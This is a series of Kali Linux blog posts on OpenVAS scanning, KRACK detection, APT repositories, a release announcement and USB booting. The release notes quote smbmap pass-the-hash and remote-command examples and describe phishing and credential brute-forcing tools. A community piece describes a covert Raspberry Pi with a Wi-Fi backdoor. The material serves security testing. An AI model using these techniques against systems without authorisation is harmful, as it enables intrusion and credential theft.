ERROR: CA certificate failed verification, see /tmp/tmp.7G2IQWtqwj/openvas-manage-certs.log for details. Aborting.
ERROR: Your OpenVAS certificate infrastructure did NOT pass validation.
See messages above for details.
Generated private key in /tmp/tmp.PerU5lG2tl/cakey.pem.
Generated self signed certificate in /tmp/tmp.PerU5lG2tl/cacert.pem.
...
/usr/sbin/openvasmd
User created with password 'xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxx'.

Dealing with Setup Errors

Occasionally, the ‘openvas-setup’ script will display errors at the end of the NVT download similar to the following:

(openvassd:2272): lib kb_redis-CRITICAL **: get_redis_ctx: redis connection error: No such file or directory
(openvassd:2272): lib kb_redis-CRITICAL **: redis_new: cannot access redis at '/var/run/redis/redis.sock'
(openvassd:2272): lib kb_redis-CRITICAL **: get_redis_ctx: redis connection error: No such file or directory
openvassd: no process found

If you are unfortunate enough to encounter this issue, you can run ‘openvas-check-setup’ to see what component is causing issues. In this particular instance, we receive the following from the script:

...
ERROR: The number of NVTs in the OpenVAS Manager database is too low.
FIX: Make sure OpenVAS Scanner is running with an up-to-date NVT collection and run 'openvasmd --rebuild'.
...

The ‘openvas-check-setup’ scipt detects the issue and even provides the command to run to (hopefully) resolve the issue. After rebuilding the NVT collection as recommended, all checks are passed:

root@kali:~# openvasmd --rebuild
root@kali:~# openvas-check-setup
openvas-check-setup 2.3.7
Test completeness and readiness of OpenVAS-9
...
It seems like your OpenVAS-9 installation is OK.
...

Managing OpenVAS Users

If you need (or want) to create additional OpenVAS users, run ‘openvasmd’ with the --create-user option, which will add a new user and display the randomly-generated password:

root@kali:~# openvasmd --create-user=dookie
User created with password 'yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyy'.
root@kali:~# openvasmd --get-users
admin
dookie

If you’re anything like us, you will forget to save the admin password or accidentally delete it. Fortunately, changing OpenVAS user passwords is easily accomplished with ‘openvasmd’ and the --new-password option:

root@kali:~# openvasmd --user=dookie --new-password=s3cr3t
root@kali:~# openvasmd --user=admin --new-password=sup3rs3cr3t

Starting and Stopping OpenVAS

Network services are disabled by default in Kali Linux so if you haven’t configured OpenVAS to start at boot, you can start the required services by running ‘openvas-start’:

root@kali:~# openvas-start
Starting OpenVas Services

When the services finish initializing, you should find TCP ports 9390 and 9392 listening on your loopback interface:

root@kali:~# ss -ant
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.1:9390 *:*
LISTEN 0 128 127.0.0.1:9392 *:*

Due to the strain on system resources, you will likely want to stop OpenVAS whenever you are done using it, especially if you are not using a dedicated system for vulnerability scanning. OpenVAS can be stopped by running ‘openvas-stop’:

root@kali:~# openvas-stop
Stopping OpenVas Services

Using the Greenbone Security Assistant

The Greenbone Security Assistant is the OpenVAS web interface, available on your local machine (after starting OpenVAS) at https://localhost:9392. After accepting the self-signed certificate, you will be presented with the login page and once authenticated, you will see the main dashboard.

Configuring Credentials

Vulnerability scanners provide the most complete results when you are able to provide the scanning engine with credentials to use on scanned systems. OpenVAS will use these credentials to log in to the scanned system and perform detailed enumeration of installed software, patches, etc. You can add credentials via the “Credentials” entry under the “Configuration” menu.

Target Configuration

OpenVAS, like most vulnerability scanners, can scan for remote systems but it’s a vulnerability scanner, not a port scanner. Rather than relying on a vulnerability scanner for identifying hosts, you will make your life much easier by using a dedicated network scanner like Nmap or Masscan and import the list of targets in OpenVAS:

root@kali:~# nmap -sn -oA nmap-subnet-86 192.168.86.0/24
root@kali:~# grep Up nmap-subnet-86.gnmap | cut -d " " -f 2 > live-hosts.txt

Once you have your list of hosts, you can import them under the “Targets” section of the “Configuration” menu.

Scan Configuration

Prior to launching a vulnerability scan, you should fine-tune the Scan Config that will be used, which can be done under the “Scan Configs” section of the “Configuration” menu. You can clone any of the default Scan Configs and edit its options, disabling any services or checks that you don’t require. If you use Nmap to conduct some prior analysis of your target(s), you can save hours of vulnerability scanning time.

Task Configuration

Your credentials, targets, and scan configurations are setup so now you’re ready to put everything together and run a vulnerability scan. In OpenVAS, vulnerability scans are conducted as “Tasks”. When you set up a new task, you can further optimize the scan by either increasing or decreasing the concurrent activities that take place. With our system with 3GB of RAM, we adjusted our task settings as shown below.

With our more finely-tuned scan settings and target selection, the results of our scan are much more useful.

Automating OpenVAS

One of the lesser-known features of OpenVAS is its command-line interface, which you interact with via the ‘omp’ command. Its usage isn’t entirely intuitive but we aren’t the only fans of OpenVAS and we came across a couple of basic scripts that you can use and extend to automate your OpenVAS scans.

The first is openvas-automate.sh by mgeeky, a semi-interactive Bash script that prompts you for a scan type and takes care of the rest. The scan configs are hard-coded in the script so if you want to use your customized configs, they can be added under the “targets” section:

root@kali:~# apt -y install pcregrep
root@kali:~# ./openvas-automate.sh 192.168.86.61
:: OpenVAS automation script.
mgeeky, 0.1
[>] Please select scan type:
1. Discovery
2. Full and fast
3. Full and fast ultimate
4. Full and very deep
5. Full and very deep ultimate
6. Host Discovery
7. System Discovery
9. Exit
--------------------------------
Please select an option: 5
[+] Tasked: 'Full and very deep ultimate' scan against '192.168.86.61'
[>] Reusing target...
[+] Target's id: 6ccbb036-4afa-46d8-b0c0-acbd262532e5
[>] Creating a task...
[+] Task created successfully, id: '8e77181c-07ac-4d2c-ad30-9ae7a281d0f8'
[>] Starting the task...
[+] Task started. Report id: 6bf0ec08-9c60-4eb5-a0ad-33577a646c9b
[.] Awaiting for it to finish. This will take a long while...
8e77181c-07ac-4d2c-ad30-9ae7a281d0f8 Running 1% 192.168.86.61

We also came across a blog post by code16 that introduces and explains their Python script for interacting with OpenVAS. Like the Bash script above, you will need to make some slight edits to the script if you want to customize the scan type:

root@kali:~# ./code16.py 192.168.86.27
------------------------------------------------------------------------------
code16
------------------------------------------------------------------------------
small wrapper for OpenVAS 6
[+] Found target ID: 19f3bf20-441c-49b9-823d-11ef3b3d18c2
[+] Preparing options for the scan...
[+] Task ID = 28c527f8-b01c-4217-b878-0b536c6e6416
[+] Running scan for 192.168.86.27
[+] Scan started... To get current status, see below:
zZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzz
...
zZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzzZzz
[+] Scan looks to be done. Good.
[+] Target scanned. Finished taskID : 28c527f8-b01c-4217-b878-0b536c6e6416
[+] Cool! We can generate some reports now ... :)
[+] Looking for report ID...
[+] Found report ID : 5ddcb4ed-4f96-4cee-b7f3-b7dad6e16cc6
[+] For taskID : 28c527f8-b01c-4217-b878-0b536c6e6416
[+] Preparing report in PDF for 192.168.86.27
[+] Report should be done in : Report_for_192.168.86.27.pdf
[+] Thanks. Cheers!

With the wide range of options available in OpenVAS, we were only really able to just scratch the surface in this post but if you take your time and effectively tune your vulnerability scans, you will find that the bad reputation of OpenVAS and other vulnerability scanners is undeserved. The number of connected devices in our homes and workplaces is increasing all the time and managing them becomes more of a challenge. Making effective use of a vulnerability scanner can make that management at least a little bit easier.

Kali on KRACK

Thu, 19 Oct 2017 00:00:00 +0000

WPA2 Key Reinstallation AttaCK or KRACK attack

Recently, Mathy Vanhoef of imec-DistriNet, KU Leuven, discovered a serious weakness in WPA2 known as the Key Reinstallation AttaCK (or KRACK) attack. Their overview, Key Reinstallation Attacks: Breaking WPA2 by forcing nonce reuse, and research paper (Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2, co-authored by Frank Piessens) have created quite a stir in our industry because the press touts that it “breaks Wi-Fi”.

There have been numerous articles written about this vulnerability, and we won’t rehash them here. However, we want to take a moment to talk about how this relates to Kali Linux, from a defensive, testing, and detection standpoint.

Is Kali Linux Vulnerable?

From a defensive standpoint, if you’re keeping up with your Kali Linux rolling updates (via a simple “apt update && apt upgrade), you’re already patched against this vulnerability thanks to patches in wpasupplicant and hostapd (both at 2.4-1.1). To be entirely clear: an updated version of Kali Linux is not vulnerable to this attack. You are keeping your Kali Linux system up-to-date, aren’t you?

How do I test for the Vulnerability?

With your Kali system updated, there are also some steps you can take to test for this vulnerability on your access points. Mathy Vanhoef recently released a script that can be run from Kali Linux to test whether or not your access point (AP) is affected by CVE-2017-13082 or specifically the Key Reinstall in FT Handshake vulnerability found in 802.11r devices. The script requires that you authenticate to the access point, but bear in mind that it may incorrectly flag an AP as vulnerable due to “benign retransmissions of data frames”.

How can I Detect Attacks?

Dragorn, the author of the amazing Kismet, has released lots of great information on the subject on his blog, including excellent info about detecting KRACK attacks using Kismet. He explains that the git-master version of Kismet is, “introducing alerts to attempt to detect a Krack-style attack”.

These alerts track spoofed access points, multichannel access points, zero-length keys, zero nonce in a handshake, and nonce retransmission, all factors that could point to a KRACK attack in progress.

Dragorn warns that since Kismet hops channels, it could miss handshake packets and therefore miss the attack. In addition, he says that false positives are still possible despite Kismet’s packet de-duplication and that once real proof-of-concept code is released for KRACK, the logic of these alerts may need to be adjusted.

Dragorn also explains that, “it looks like you can still trip the kismet nonce detection w/ a packet flagged in the frame control as a retransmit” but despite these drawbacks, Kismet is still a decent system for detection of this and other Wi-Fi protocol attacks.

To install the git-master version of Kismet on Kali Linux, follow these steps

First, tell networkmanager to ignore the Wi-Fi device by adding these lines:

[keyfile]
unmanaged-devices=interface-name:wlan0

to /etc/NetworkManager/NetworkManager.conf

Then, restart NetworkManager:

root@kali:~# systemctl restart NetworkManager

Next, install updates and the git-master version of Kismet:

root@kali:~# apt update
root@kali:~# apt upgrade
root@kali:~# git clone https://www.kismetwireless.net/git/kismet.git
root@kali:~# apt install build-essential libmicrohttpd-dev libnl-3-dev libnl-genl-3-dev libcap-dev libpcap-dev libncurses5-dev libnm-dev libdw-dev libsqlite3-dev
root@kali:~# cd kismet
root@kali:~# ./configure
root@kali:~# make
root@kali:~# make suidinstall
root@kali:~# /usr/local/bin/kismet_capture_tools/kismet_cap_linux_wifi --list
root@kali:~# kismet -c wlan0

Next you can browse to http://localhost:2501 to view the Kismet interface and any alerts. Be sure to log in with the credentials found in ~/.kismet/kismet_httpd.conf to get full functionality. You can also build and run the capture tools on separate machines, allowing you to monitor from several endpoints and view the alerts on a single centralized server.

Overall, this vulnerability is not the end of the world. As @grifter801 puts it, this vulnerability encourages this shocking approach: “Patch your stuff. Use 2FA. Use HTTPS.” We couldn’t agree more.

We also encourage you to consider the defensive, testing, and detection perspectives of any new vulnerability to help you become more aware of the finer details of the vulnerability, gain insight about it, and become part of the solution.

Thanks to OffSec and Kali team member @Steev for the technical resources used in this article.

Advanced Package Management in Kali Linux

Tue, 26 Sep 2017 00:00:00 +0000

The Advanced Package Tool (APT) is how programs, libraries, documentation, and even the kernel itself are installed and managed on Kali and other Debian-based derivatives. APT often works so well that many users don’t pay any particular attention to it other than to perhaps search for and install programs and (hopefully) update their system regularly.

For most standard users, making use of APT this way is perfectly normal but we like to think that people who use Kali Linux are not standard users (in a good way) and so we are devoting this post to telling how you to get better use of APT and how to take advantage of the wide ecosystem of packages that are available, while keeping your Kali system stable and happy.

Many people will tell you that you should not rely on a package manager at all and instead, you should compile everything from scratch because you will learn more that way. While it’s certainly true that you will learn a lot, especially as you start out, building everything by hand will quickly devolve into tedium when you could be spending your time hacking or learning something new, preferably both.

In this post, we’ll show you how you can safely add additional package repositories to your Kali installation, how to upgrade and downgrade them, and how to ensure all of these repositories live in harmony. APT is very powerful and will evaluate the available packages from all sources as a whole when it formulates its solutions.

Adding Package Sources to Kali Linux

If you want to make your future self happy, you should not directly edit /etc/apt/sources.list directly. For each new package repository you add to your system, create a new file with a descriptive name (like debian-unstable.list) under /etc/apt/sources.list.d/. By leaving the original sources.list file untouched, if Kali needs to update it, it won’t interrupt you during the update, asking you which version of the file to keep.

In this post, we are going to add the Kali Bleeding-Edge repository and the Debian Unstable and Experimental repositories.

The kali-bleeding-edge Repository

The kali-bleeding-edge repository contains a number of tools that are very popular and change very frequently (even daily). It would be impractical and time-consuming to manually create and test updated packages so the packages in this repository are generated automatically whenever the upstream source changes. On the positive side, it means you are never more than 24 hours behind the upstream project but on the downside, these packages are not tested so you need to be aware that the packages in this repository may break from time to time.

You can add the repo and update the list of available packages as follows:

echo "deb http://http.kali.org/kali kali-bleeding-edge main contrib non-free" > /etc/apt/sources.list.d/bleeding-edge.list
apt update

To install a package from kali-bleeding-edge, you need to append the repository name to the package name:

apt install dnsrecon/kali-bleeding-edge

Fortunately, APT makes it an easy to downgrade back to the kali-rolling version of a particular package at any time, so there is no need to fear the packages in the kali-bleeding-edge repository. If you find that a package is broken in kali-bleeding-edge, you can revert back to the kali-rolling version in the same manner:

apt install dnsrecon/kali-rolling

The Debian Unstable and Experimental Repositories

Kali Linux is a derivative of Debian Testing, which has more up-to-date software than Debian Stable. For even more recent software, there is the Debian Unstable distribution, which is a rolling development version of Debian, containing the most recent packages. When you encounter a bug in a Debian package, there might be a fixed version in the Debian Unstable repository so it is a good idea to add it to your Kali system. As with kali-bleeding-edge, the packages in Unstable may break from time to time.

Debian Experimental is yet another repository that contains packages that are under development. The packages in this repository are very current but can also be very buggy, more so than kali-bleeding-edge or Debian Unstable. APT will only install packages from this repository if you explicitly request them and you can always downgrade if things don’t work out:

echo "deb http://ftp.debian.org/debian unstable main contrib non-free" > /etc/apt/sources.list.d/debian.list
echo "deb http://deb.debian.org/debian experimental main" >> /etc/apt/sources.list.d/debian.list
apt update

As with the kali-bleeding-edge packages, if you want to install packages from unstable or experimental, append the repository name to the end of the package name as shown below:

root@kali:~# apt install socat/experimental netperf/unstable
Reading package lists... Done
Building dependency tree
Reading state information... Done
Selected version '2.0.0~beta9-1' (Debian:experimental [amd64]) for 'socat'
Selected version '2.6.0-2.1' (kali-rolling, Debian:unstable [amd64]) for 'netperf'
The following NEW packages will be installed:
netperf
The following packages will be upgraded:
socat
1 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 909 kB of archives.
After this operation, 1,127 kB of additional disk space will be used.
Get:1 http://kali.mirror.globo.tech/kali kali-rolling/non-free amd64 netperf amd64 2.6.0-2.1 [544 kB]
Get:2 http://deb.debian.org/debian experimental/main amd64 socat amd64 2.0.0~beta9-1 [365 kB]
Fetched 909 kB in 1s (555 kB/s)
Reading changelogs... Done
apt-listchanges: Mailing root: apt-listchanges: news for kali
Selecting previously unselected package netperf.
(Reading database ... 287650 files and directories currently installed.)
Preparing to unpack .../netperf_2.6.0-2.1_amd64.deb ...
Unpacking netperf (2.6.0-2.1) ...
Preparing to unpack .../socat_2.0.0~beta9-1_amd64.deb ...
Unpacking socat (2.0.0~beta9-1) over (1.7.3.2-1) ...
Setting up socat (2.0.0~beta9-1) ...
Processing triggers for systemd (234-3) ...
Processing triggers for man-db (2.7.6.1-2) ...
Setting up netperf (2.6.0-2.1) ...
update-rc.d: We have no instructions for the netperf init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for systemd (234-3) ...

Determining Package Priorities

In order to determine what packages get installed, APT has priorities assigned for all package sources, with the highest priority number taking precedence. A package with a priority of 0 will never be installed and a package with a priority over 1000 will always be installed, even if it means downgrading the package.

This is all well and good for APT but how can you, the user, see what the priority is of a given package? Enter the little-known ‘apt-cache’ command and its ‘policy’ option, which displays all of your configured repositories and their priorities:

root@kali:~# apt-cache policy
Package files:
100 /var/lib/dpkg/status
release a=now
1 http://deb.debian.org/debian experimental/main amd64 Packages
release o=Debian,a=experimental,n=experimental,l=Debian,c=main,b=amd64
origin deb.debian.org
500 http://ftp.debian.org/debian unstable/non-free amd64 Packages
release o=Debian,a=unstable,n=sid,l=Debian,c=non-free,b=amd64
origin ftp.debian.org
500 http://ftp.debian.org/debian unstable/contrib amd64 Packages
release o=Debian,a=unstable,n=sid,l=Debian,c=contrib,b=amd64
origin ftp.debian.org
500 http://ftp.debian.org/debian unstable/main amd64 Packages
release o=Debian,a=unstable,n=sid,l=Debian,c=main,b=amd64
origin ftp.debian.org
100 http://http.kali.org/kali kali-bleeding-edge/main amd64 Packages
release o=Kali,n=kali-bleeding-edge,c=main,b=amd64
origin http.kali.org
990 http://http.kali.org/kali kali-rolling/contrib amd64 Packages
release o=Kali,a=kali-rolling,n=kali-rolling,c=contrib,b=amd64
origin http.kali.org
990 http://http.kali.org/kali kali-rolling/non-free amd64 Packages
release o=Kali,a=kali-rolling,n=kali-rolling,c=non-free,b=amd64
origin http.kali.org
990 http://http.kali.org/kali kali-rolling/main amd64 Packages
release o=Kali,a=kali-rolling,n=kali-rolling,c=main,b=amd64
origin http.kali.org
Pinned packages:

You will note that kali-rolling, as the default distribution, has the highest priority at 990, meaning its packages take precedence over all others (which is what you want as a Kali user), followed by Debian unstable at 500, kali-bleeding-edge at 100, and lastly, experimental, with a lowly priority of 1. To see how these priorities apply to a given package, take a look at sqlmap:

root@kali:~# apt-cache policy sqlmap
sqlmap:
Installed: 1.1.9-1
Candidate: 1.1.9-1
Version table:
1.1.9+0~git1505273832.7de63a-1 100
100 http://http.kali.org/kali kali-bleeding-edge/main amd64 Packages
*** 1.1.9-1 990
990 http://http.kali.org/kali kali-rolling/main amd64 Packages
500 http://ftp.debian.org/debian unstable/main amd64 Packages
100 /var/lib/dpkg/status

Even though the version of sqlmap in kali-bleeding-edge is newer, it will not be installed because it only has a priority of 100, versus the installed version, which has a priority of 990. It is for this reason that when you want to install a package from a different package repository, it needs to be requested explicitly:

root@kali:~# apt install sqlmap/kali-bleeding-edge
Reading package lists... Done
Building dependency tree
Reading state information... Done
Selected version '1.1.9+0~git1505273832.7de63a-1' (http.kali.org [all]) for 'sqlmap'
The following packages will be upgraded:
sqlmap
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 6,789 kB of archives.
After this operation, 2,048 B of additional disk space will be used.
Get:1 http://kali.mirror.globo.tech/kali kali-bleeding-edge/main amd64 sqlmap all 1.1.9+0~git1505273832.7de63a-1 [6,789 kB]
Fetched 6,789 kB in 5s (1,192 kB/s)
Reading changelogs... Done
(Reading database ... 287587 files and directories currently installed.)
Preparing to unpack .../sqlmap_1.1.9+0~git1505273832.7de63a-1_all.deb ...
Unpacking sqlmap (1.1.9+0~git1505273832.7de63a-1) over (1.1.9-1) ...
Setting up sqlmap (1.1.9+0~git1505273832.7de63a-1) ...
Processing triggers for man-db (2.7.6.1-2) ...

APT Configuration

Setting the Default Distribution

Now that you have some extra repositories added to your system, you will want to begin exploring and installing new packages, but before you do, it’s a good idea to tell APT what your default distribution is, which for Kali Linux users, is “kali-rolling”. This way your system won’t upgrade to some other distribution without your consent. Configure your default distribution by adding “APT::Default-Release “kali-rolling”;” to /etc/apt/apt.conf.d/local:

root@kali:~# cat /etc/apt/apt.conf.d/local
APT::Default-Release "kali-rolling";

With your default distribution configured, any time you run ‘apt full-upgrade’, it will apply the upgrade to kali-rolling, helping keep your system stable.

Reducing Upgrade Prompts

If you use any Debian derivative for a significant amount of time, you will come across a prompt while running ‘apt upgrade’ asking you about a configuration file and whether you want to keep the local version, use the new version, or compare them. More often than not, you will find yourself accepting the default, making these interruptions wasteful.

You can avoid these prompts by updating your /etc/apt/apt.conf.d/local file with ‘DPkg::options { “–force-confdef”; “–force-confold”; }’ as shown below. This line tells APT to try to choose by itself if the files have not changed (–force-confdef) and if the files are different, keep the existing version (–force-confold):

root@kali:~# cat /etc/apt/apt.conf.d/local
DPkg::options { "--force-confdef"; "--force-confold"; }
APT::Default-Release "kali-rolling";

Pinning Package Versions

Occasionally, you will find some application that needs a specific version of a particular package and will not work with any other. Other times, an update to one package might adversely affect other tools. This happened to us recently with an update to the devscripts package, which was preventing us from building Kali packages.

Fortunately, APT allows you to pin a package to a particular version by setting its priority to 1001 in /etc/apt/preferences. For example, to tell APT to hold the devscripts package at version 2.16.x, you would add the following:

Package: devscripts
Pin: version 2.16.*
Pin-Priority: 1001

Additional Resources

In this post, we have only been able to scratch the surface of how you can extend APT far beyond the default Kali or Debian ecosystem. The solver algorithms are very effective and running into issues is rare, so you need not fear exploring other repositories. To learn more about APT and how to bend it to your will, we encourage you to refer to Kali Linux Revealed and The Debian Administrator’s Handbook, both of which contain a wealth of information, tips, and tricks.

Kali Linux 2017.2 Release

Wed, 20 Sep 2017 00:00:00 +0000

We are happy to announce the release of Kali Linux 2017.2, available now for your downloading pleasure. This release is a roll-up of all updates and fixes since our 2017.1 release in April. In tangible terms, if you were to install Kali from your 2017.1 ISO, after logging in to the desktop and running ‘apt update && apt full-upgrade’, you would be faced with something similiar to this daunting message:

1399 upgraded, 171 newly installed, 16 to remove and 0 not upgraded.
Need to get 1,477 MB of archives.
After this operation, 1,231 MB of additional disk space will be used.
Do you want to continue? [Y/n]

That would make for a whole lot of downloading, unpacking, and configuring of packages. Naturally, these numbers don’t tell the entire tale so read on to see what’s new in this release.

New and Updated Packages in Kali 2017.2

In addition to all of the standard security and package updates that come to us via Debian Testing, we have also added more than a dozen new tools to the repositories, a few of which are listed below. There are some really nice additions so we encourage you to ‘apt install’ the ones that pique your interest and check them out.

hurl - a useful little hexadecimal and URL encoder/decoder
phishery - phishery lets you inject SSL-enabled basic auth phishing URLs into a .docx Word document
ssh-audit - an SSH server auditor that checks for encryption types, banners, compression, and more
apt2 - an Automated Penetration Testing Toolkit that runs its own scans or imports results from various scanners, and takes action on them
bloodhound - uses graph theory to reveal the hidden or unintended relationships within Active Directory
crackmapexec - a post-exploitation tool to help automate the assessment of large Active Directory networks
dbeaver - powerful GUI database manager that supports the most popular databases, including MySQL, PostgreSQL, Oracle, SQLite, and many more
brutespray - automatically attempts default credentials on discovered services

On top of all the new packages, this release also includes numerous package updates, including jd-gui, dnsenum, edb-debugger, wpscan, watobo, burpsuite, and many others. To check out the full list of updates and additions, refer to the Kali changelog on our bug tracker.

Ongoing Integration Improvements

Beyond the new and updated packages in this release, we have also been working towards improving the overall integration of packages in Kali Linux. One area in particular is in program usage examples. Many program authors assume that their application will only be run in a certain manner or from a certain location. For example, the SMBmap application has a binary name of ‘smbmap’ but if you were to look at the usage example, you would see this:

Examples:

$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1
$ python smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
$ python smbmap.py -u 'apadmin' -p 'asdf1234!' -d ACME -h 10.1.3.30 -x 'net group "Domain Admins" /domain'

If you were a novice user, you might see these examples, try to run them verbatim, find that they don’t work, assume the tool doesn’t work, and move on. That would be a shame because smbmap is an excellent program so we have been working on fixing these usage discrepancies to help improve the overall fit and finish of the distribution. If you run ‘smbmap’ in Kali 2017.2, you will now see this output instead:

Examples:

$ smbmap -u jsmith -p password1 -d workgroup -H 192.168.0.1
$ smbmap -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
$ smbmap -u 'apadmin' -p 'asdf1234!' -d ACME -h 10.1.3.30 -x 'net group "Domain Admins" /domain'

We hope that small tweaks like these will help reduce confusion to both veterans and newcomers and it’s something we will continue working towards as time goes on.

Learn More About Kali Linux

In the time since the release of 2017.1, we also released our first book, Kali Linux Revealed, in both ~~physical~~ and online formats. If you are interested in going far beyond the basics, really want to learn how Kali Linux works, and how you can leverage its many advanced features, we encourage you to check it out. Once you have mastered the material, you will have the foundation required to pursue the Kali Linux Certified Professional certification.

Kali ISO Downloads, Virtual Machines and ARM Images

The Kali Rolling 2017.2 release can be downloaded via our official Kali Download page. This release, we have also updated our Kali Virtual Images and Kali ARM Images downloads. As always, if you already have Kali installed and running to your liking, all you need to do in order to get up-to-date is run the following:

apt update
apt dist-upgrade
reboot

We hope you enjoy this fine release as much as we enjoyed making it!

VMware Fusion Kali USB Boot

Wed, 26 Jul 2017 00:00:00 +0000

VMware Fusion Kali USB Boot

One of the fun, and often necessary, features of Kali Linux is the ability to create really killer, completely customized live-boot installations. Normally stored on a USB drive, these installations put the power of Kali Linux in your pocket, ready to launch whenever you need it.

Building Kali live USB installations is pretty straightforward, whether you’re going for plain installation, building in persistence so you can store files, going fully-encrypted (even arming a self-destruct passphrase), or customizing and building your own tailored install.

However, the process of testing your USB install can be a bit of a pain, especially if you’re a Mac user. You could, under certain circumstances, reboot your Mac and boot from the USB, but that can be a real hassle.

However, wouldn’t it be great if you could use a product like VMware Fusion (which is the industry-leading product and does a fabulous job running every other OS on our Macs already) to boot and test your live USBs? No rebooting. No fuss. Just pop it in and let it fly.

That seemed like a great idea but the Fusion product has been in flux for awhile, and seems to get “special” treatment from VMware. The company seems to think that Mac users don’t need extensive options, like a checkbox for EFI booting. Instead, they set it up so that if your guest is Mac or Windows-based, it will automatically do an EFI boot for you. That’s helpful, but if you create a Mac or Windows guest and try to boot from the USB, you’ll get the Kali boot screen, followed by a boot-halting message that the USB doesn’t contain a version of Mac or Windows.

Because of this flux, and core differences between Fusion and the rest of the VMware line, this EFI USB booting issue had us stumped. A few workarounds have been introduced, like booting a specialized VM that would attempt an EFI boot, but they had their own problems.

Thankfully, Fusion has matured enough that now we can get under the hood and make this process work. Here’s how you do it.

Create a new custom VM:

Select “Linux” -> “Debian 8.x 64-bit”.

Create a new virtual disk. Settings do not matter.

Click “Finish”:

Give it a snappy name:

Shut down the machine. Go to “Virtual Machine” -> “Settings” -> “Processor and Memory”, set memory to at least 2048 MB, and set cores to “2”:

Next, head to “Settings” -> “Display”, and check “Accelerate 3D Graphics”. This is optional, but it really helps the performance of your Kali experience. “Use full resolution..” is also optional.

Head to “USB Devices”. Insert your Kali USB and set USB compatibility to USB 3.0 (if you have a USB 3.0 compatible system and drive). Note that USB-C, dongles or not, make no difference here. Just make sure that if you’re using a USB-C device, select USB 3.0 compatibility. Select “Connect to Linux” as the “Plug in Action” and set the machine to “Connect to this virtual machine” when it is plugged in:

Go to “Settings” -> “Disks”. Select “Advanced Options” and “Remove Hard Disk”, sending it to the Trash. You won’t need it.

Next, you’ll need to enable EFi booting. There is no GUI setting for this so, you need to find this VM on your hard drive. Virtual hard drives are stored by default in ~/Documents//Virtual Machines.localized. Change to the directory containing this VM. Ours is called “Kali USB Boot” so the full path is ~/Documents//Virtual Machines.localized/Kali USB Boot.vmwarevm". Within that directory is a .vmx file named after the VM. Ours is called Kali USB Boot.vmx. Edit that file with your favourite editor and insert the following line:

firmware = "efi"

Be careful with copy and paste. If you paste this line into the editor, you may get funny “Mac quotes” and this will break the VM. Your .vmx file should look something like this:

Now, power on your VM, and it should boot to Kali Linux:

Troubleshooting USB Connections

If you run into problems, you have a few options. First, power off your VM. Go to “Settings” -> “USB Devices” and leave this settings screen up next to your powered-off VM. (You can also expand your toolbar and look at the USB icon). Now, power on the VM. Immediately, you should see the USB Settings screen update with a check next to your USB device:

If you don’t get a check mark, this means that your Mac has grabbed the USB drive. Power off your VM, eject the drive from the Mac, and power on the VM again with the USB settings screen up. You should see the check mark and get the Kali boot screen.

Troubleshooting EFI

When booting with EFI, your boot screen should look like this:

This indicates that EFI is enabled. If it’s not, triple-check that you entered the firmware line correctly in the .vmx file. Note that in some cases, this EFI Network check may hang. Simply pressing ESC within the VM nudges the process along.

On a normal boot, you can click inside the VM screen and press ESC quickly just as the VMware logo is appearing on the screen to get to the Boot Manager:

From here, you can select “EFI Internal Shell” to get into the shell. If you get something like this, missing an fs0 map, then EFI doesn’t see your USB drive. If this is the case, power off the virtual machine, unplug the USB, start the VM, and immediately after pressing start, insert the drive, looking for the checkmark in settings.

If everything goes well, you’re booted into Kali. Otherwise, you can get to an EFI shell with ESC, “EFI Internal Shell”. A “happy” EFI shell looks like this:

Note the fs0 map. Next, you can enter ‘fs0:’ and ’ls’ to look around.

You can enter ‘cd efi\boot’ (notice the backslash, not a forward slash!) and boot the device manually with ‘bootx64.efi’

This should give you a happy EFI boot:

Note that on some installations, the shutdown, followed by removing the drive, powering on the VM and inserting the drive might be required. This likely has much to do with the Mac grabbing the USB drive, or half-grabbing it (without mounting).

Kali Drones, Portable CTF Builds, Raspberry Pi Craziness and More!

Thu, 29 Jun 2017 00:00:00 +0000

The Kali community is a pretty crazy thing. There are folks all over the world doing interesting things with Kali Linux and far too often, these cool projects get overlooked. Part of the problem is that the community is spread out all over the ’net. We’re continuing to help build the Kali community to help with this problem, but that’s a slightly longer topic. In the meantime, we want to keep you well-informed about cool stuff that’s happening in our world-wide community. We’ll also be reaching out to standout members of our community, highlight their work, and get them involved in building our new community.

In this, the first of many community updates, we want to highlight the work of one of our members, @Re4son, who has been a long-time Kali Linux advocate, a volunteer moderator on the Kali Linux forums and a “Dedicated technology enthusiast, obsessed with setting every machine free from the oppression of its maker” who is checking in all the way from Melbourne, Australia.

An OffSec alumni holding both an OSCP and an OSCE, @Re4son had an idea to create “a small, cheap, autonomous, and low-energy Kali platform with direct hardware access that can do its hacking quietly in the corner or hassle-free on the road”. He turned his attention to the Raspberry Pi line, which offered a strong accessory aftermarket, but he discovered that the hardware support was somewhat limited for his needs.

“In 2015 .. I started porting the drivers myself,” he explains, “and the sticky fingers (touch screen) interface started off as a way to switch between HDMI and TFT screens without needing a keyboard.”

His Project has Come a Long Way

“Sticky Fingers Kali-Pi combines Kali Linux and the Re4son-Kernel into a hassle-free package that turns any Raspberry Pi into a powerful Swiss Army knife with finger-friendly touch screen interface that can provide backend support in your own network, or operate autonomously behind enemy lines, posing as a humidity sensor. Out of the box, the Kali-Pi comes preconfigured with all essential services, such as SSH, VNC, FTP, HTTP, and Wi-Fi backdoor, as well as the MANA toolkit, Snort, Kismet, Metasploit, etc. and a finger-friendly touch screen interface to control it all.”

Built on a Raspberry Pi 0/0W/1/2/3, this setup can be quick-installed from a pre-configured image or built from scratch, and has options for a TFT touch screen with a custom-built intuitive touch menu, bluetooth, injection support, and more. He’s even strapped this puppy onto a drone for some high-flying “research”.

